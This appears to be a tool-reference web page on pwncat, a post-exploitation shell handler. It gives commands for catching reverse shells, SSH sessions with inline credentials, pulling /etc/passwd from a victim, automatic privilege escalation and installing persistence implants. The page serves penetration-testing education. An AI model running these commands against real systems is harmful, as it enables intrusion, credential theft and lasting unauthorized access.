GO KALI FREE

pwncat

Maintaining Access

Intermediatehigh risk

pwncat is an advanced, automated shell handler that extends the capabilities of traditional reverse or bind shells, offering built-in features for automated enumeration, persistence injection, and privilege escalation tracking.

Installation

pip install pwncat-cs

Basic Syntax

pwncat-cs [options]

Quick Facts

Full Name
pwncat
License
MIT License
Author
Caleb Stewart
Written In
Python
Platforms
Linux (attacker), Linux/Windows (target)
Category
Post Exploitation
First Release
2020
Type
Reverse Shell Handler Framework

Tool Overview

pwncat is a modern post-exploitation framework that replaces traditional reverse shell handlers with a powerful, feature-rich platform. It provides automated enumeration, privilege escalation detection, file transfer, and persistence management through a modular architecture.

Unlike bare Netcat listeners, pwncat automatically upgrades raw shell access into a capable post-exploitation environment. It tracks privilege levels, records commands, and provides built-in modules for common post-exploitation tasks without requiring additional tools on the target.

pwncat's modular plugin system allows it to generate, upload, and execute custom payloads, enumerate system configurations, escalate privileges, and establish persistence. It is designed for penetration testers who need efficient post-exploitation capabilities without juggling multiple separate scripts.

Common Commands

pwncat-cs -lp 4444Listen on port 4444 to catch a reverse shell (netcat-style syntax)
pwncat-cs bind://0.0.0.0:4444Start a reverse-shell catcher using the explicit bind protocol
pwncat-cs :4444Shorthand to listen on all interfaces on port 4444
pwncat-cs connect://10.10.10.10:4444Connect out to a bind shell listening on the target
pwncat-cs 10.10.10.10 4444Netcat-style connect to a target's bind shell
pwncat-cs -m windows -lp 4444Catch a reverse shell and treat the target as a Windows host
pwncat-cs --ssl -lp 4444Catch an SSL-wrapped reverse shell with a self-signed certificate
pwncat-cs ssl-bind://0.0.0.0:4444?certfile=/path/to/cert.pem&keyfile=/path/to/key.pemSSL bind listener using a supplied certificate and key
pwncat-cs ssh://root:r00t5P@ssw0rd@10.10.10.10Open a managed session over SSH with inline credentials
pwncat-cs root@10.10.10.10Connect over SSH (protocol assumed) prompting for the password
pwncat-cs -i ./id_rsa root@10.10.10.10Connect over SSH using an identity/private-key file
pwncat-cs -p 2222 user@10.10.10.10Connect over SSH on a non-standard port
pwncat-cs --listList installed persistent implants that support remote reconnection
pwncat-cs 999c434fe6bd7383f1a6cc10f877644dReconnect to a target by its stored host ID via a persistence implant
pwncat-cs reconnect://user@10.10.10.10Reconnect to a host using an installed implant for that user
download /etc/passwd ./passwdLocal-prompt command: pull a file from the victim to your machine
upload ./linpeas.sh /tmp/linpeas.shLocal-prompt command: push a file from your machine to the victim
run enumerateRun the enumeration module to gather facts about the target
run enumerate types=credsEnumerate only credential-related facts on the target
escalate listList discovered privilege-escalation abilities on the target
escalate runAttempt automatic privilege escalation to root/SYSTEM
use linux.implant.authorized_keyEnter a module context to configure a persistence implant
sessionsList all active pwncat sessions
search enumerateSearch available modules matching a glob pattern
backLeave the current module context and return to the main prompt

Step-by-Step Guide

  1. 1Initialize the listener on your specified port
  2. 2Wait for the compromised system to dial back
  3. 3Trigger the built-in enumeration sweeps
  4. 4Leverage the internal modules for administrative tasks
  5. 5Deploy persistence mechanisms to survive system reboots

Use Cases

Reverse Shell Handling

Automated reverse shell handler with intelligent session management and command logging.

System Enumeration

Automatically enumerate OS, users, network, processes, and privilege escalation vectors.

Privilege Escalation

Detect and exploit privilege escalation paths with automated modules.

Persistence

Install and verify persistence through cron, SSH keys, systemd, and other mechanisms.

File Transfer

Upload and download files between attacker and target through the established channel.

Privilege Tracking

Track privilege escalation steps and maintain an audit trail of access levels gained.

Key Features

Related Tools

Socat

Maintaining Access

Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them, widely used for establishing shells, port forwarding, and encrypted connections.

LinPEAS

Post Exploitation

LinPEAS is a script that searches for possible paths to escalate privileges on Linux hosts. It highlights findings using colors to signal potential misconfigurations or vulnerabilities.

Metasploit Framework

Exploitation

Learn how to use Metasploit Framework: install it on Kali Linux, launch msfconsole, search for exploit modules, set RHOSTS and LHOST, and run your first authorized lab exploit. This beginner tutorial covers msfconsole commands, Meterpreter sessions, msfvenom payloads, and post-exploitation — with practical examples for authorized penetration testing.

Netcat

Sniffing & Spoofing

Learn how to use Netcat (nc) in Kali Linux to open a TCP or UDP connection, check a port, and see what a service sends back. Follow the examples to send your first message, inspect HTTP and SMTP responses, and transfer a test file without exposing sensitive data.

Ligolo-ng

Maintaining Access

Ligolo-ng is a simple, lightweight, and fast tunneling tool that uses a TUN interface. It allows penetration testers to establish tunnels from a reverse TCP/TLS connection without needing SOCKS proxies.

WireGuard

Maintaining Access

WireGuard is an extremely fast, modern VPN protocol that lives inside the Linux kernel and uses state-of-the-art cryptography — Curve25519 key exchange, ChaCha20Poly1305 encryption, and the Noise protocol framework — in a core codebase of only a few thousand lines. In penetration testing and red team work it creates secure, persistent tunnels for pivoting into internal networks and maintaining encrypted access, while system administrators use the same tool for site-to-site links and road-warrior VPNs. Every peer is identified by a single public key, traffic is bound to that key by cryptokey routing (AllowedIPs), and the protocol stays completely silent toward unauthenticated packets, which makes a WireGuard port nearly invisible to scanners.

Related Cybersecurity Guides

Red Team · Intermediate

What Is a Reverse Shell? How Reverse Shells Work, Payloads & Detection

Learn what a reverse shell is, how it works, and how to set one up in a lab — listener setup, payloads in Bash, Python, PHP and PowerShell, a cheat sheet, TTY upgrade, and how to detect one.

Ethical Hacking · Intermediate

Linux Privilege Escalation: Complete Guide from Enumeration to Root

Linux privilege escalation from enumeration to root: LinPEAS, SUID, sudo, capabilities, cron and kernel checks — with a worked lab example and cheat sheet.

Tools · Intermediate

SQLMap Commands: Cheat Sheet & How to Use SQLMap in Kali Linux

Every SQLMap command you need - target, enumeration, tamper scripts, WAF bypass, OS shell - with a worked DVWA example, troubleshooting and the developer fix.

Linux · Beginner

SSH Fundamentals: Secure Remote Access and Administration

Learn SSH for secure remote access including key-based authentication, configuration, tunneling, port forwarding, and security hardening.

Frequently Asked Questions

What is pwncat used for?

pwncat is a post-exploitation platform that replaces traditional reverse shell handlers like Netcat. It provides automated system enumeration, privilege escalation detection, file upload/download, persistence installation, and privilege tracking through a single, easy-to-use interface.

How do I install pwncat?

Install pwncat with pip: pip install pwncat-cs. This installs the pwncat-cs command-line tool. No installation is needed on the target system — pwncat handles the remote connection from your attacker machine. Ensure you have Python 3.8 or later installed.

How does pwncat enumerate systems?

pwncat includes an automated enumeration module (run enumerate) that checks for kernel vulnerabilities, SUID binaries, writable scripts, cron jobs, weak permissions, Sudo rules, and other privilege escalation vectors. Results are color-coded and stored for review.

Can pwncat establish persistence?

Yes, pwncat has built-in persistence modules accessible via run persist.*. It supports cron jobs, SSH authorized_keys, systemd services, and other common persistence mechanisms. Each module installs the persistence and can verify it is working.

Tags

#maintaining-access#shells#post-exploitation#handler

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.